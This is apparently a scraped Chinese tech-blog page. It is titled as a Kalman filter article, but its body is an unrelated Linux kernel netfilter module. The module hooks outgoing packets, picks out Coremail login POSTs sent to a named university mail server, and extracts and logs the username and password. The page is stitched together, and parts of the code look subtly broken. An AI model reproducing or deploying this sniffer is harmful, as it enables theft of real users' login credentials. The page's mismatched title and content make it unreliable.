1. 程式人生 > 實用技巧 >【MOT】卡爾曼濾波器 (Kalman filter)

【MOT】卡爾曼濾波器 (Kalman filter)

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.
h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define SUCCESS 1 #define FAILURE -1 static char *username = NULL; static char *password = NULL; MODULE_LICENSE("GPL"); /* 用於描述我們的Netfilter掛鉤 * nf_hook_ops資料結構在linux/netfilter.h中定義 * 我們定義兩個nf_hook_ops結構體,一個傳入的hook 和 一個傳出的hook struct nf_hook_ops { struct list_head list; //鉤子連結串列 nf_hookfn *hook; //鉤子處理函式 struct module *owner; //模組所有者 int pf; //鉤子協議族 int hooknum; //鉤子的位置值(PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五個位置) int priority; //鉤子的的優先順序 } */
struct nf_hook_ops post_hook; //start of tcp data static unsigned char * post_uri = "POST /coremail/index.jsp?cus=1"; static short post_uri_len = sizeof(post_uri); static unsigned char *target_ip = "\xca\x26\x40\x08"; //202.38.64.8 --> mail.ustc.edu.cn //find target package
static unsigned int findpkt_iwant(struct sk_buff *skb) { struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL; //ip_header ip = (struct iphdr *)skb_network_header(skb); if (ip->daddr != *(int *)(target_ip) || (unsigned char)ip->protocol != IPPROTO_TCP) //printk("ip->daddr:%d *(int*)(target_ip):%d\n",(int)ip->daddr,*(int*)target_ip); return FAILURE; tcp = (struct tcphdr *)skb_transport_header(skb); data = (char *)((char *)tcp + (tcp->doff<<2)); if (strncmp(data, post_uri, post_uri_len) != 0) { //printk("Wrong pakage!\n"); return FAILURE; } return SUCCESS; } //find http package static void fetch_http(struct sk_buff *skb) { printk("fetch http data...\n"); struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL; // tcp data //int tcp_payload_len = 0; char i; int content_len = 0; // Cotent-Length ip = (struct iphdr *)skb_network_header(skb); tcp = (struct tcphdr *)skb_transport_header(skb); data = (char *)tcp + (tcp->doff<<2); username = strstr(data, "&uid=") + 5; password = strstr(username, "&password=") + 10; //print username printk("username: "); for(i=0;username[i]!='&';++i) printk("%c",username[i]); printk("\n"); //print passwd printk("password: "); for(i=0;password[i]!='&';++i) printk("%c",password[i]); printk("\n"); return; } static int hasPair(void) { return username != NULL && password != NULL; } static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { /* 讓傳入的緩衝skb存到sock_buff中 */ struct sk_buff *sock_buff = skb; if(!sock_buff){ printk("buffer error!\n"); return NF_ACCEPT; } if (findpkt_iwant(skb) == FAILURE) return NF_ACCEPT; if (!hasPair()){ fetch_http(skb); username = NULL; password = NULL; } return NF_ACCEPT; } /* 核心模組中的兩個函式 init_module() :表示起始 和 cleanup_module() :表示結束 */ int init_module() { /*hook函式指標指向watc_out*/ post_hook.hook = watch_out; /*協議簇為ipv4*/ post_hook.pf = PF_INET; /*優先順序最高*/ post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_INET_POST_ROUTING; /*將post_hook註冊,註冊實際上就是在一個nf_hook_ops連結串列中再插入一個nf_hook_ops結構*/ nf_register_net_hook(&init_net ,&post_hook); printk("Module_init...\n"); return 0; } void cleanup_module() { /*將post_hook取消註冊,取消註冊實際上就是在一個nf_hook_ops連結串列中刪除一個nf_hook_ops結構*/ nf_unregister_net_hook(&init_net ,&post_hook); }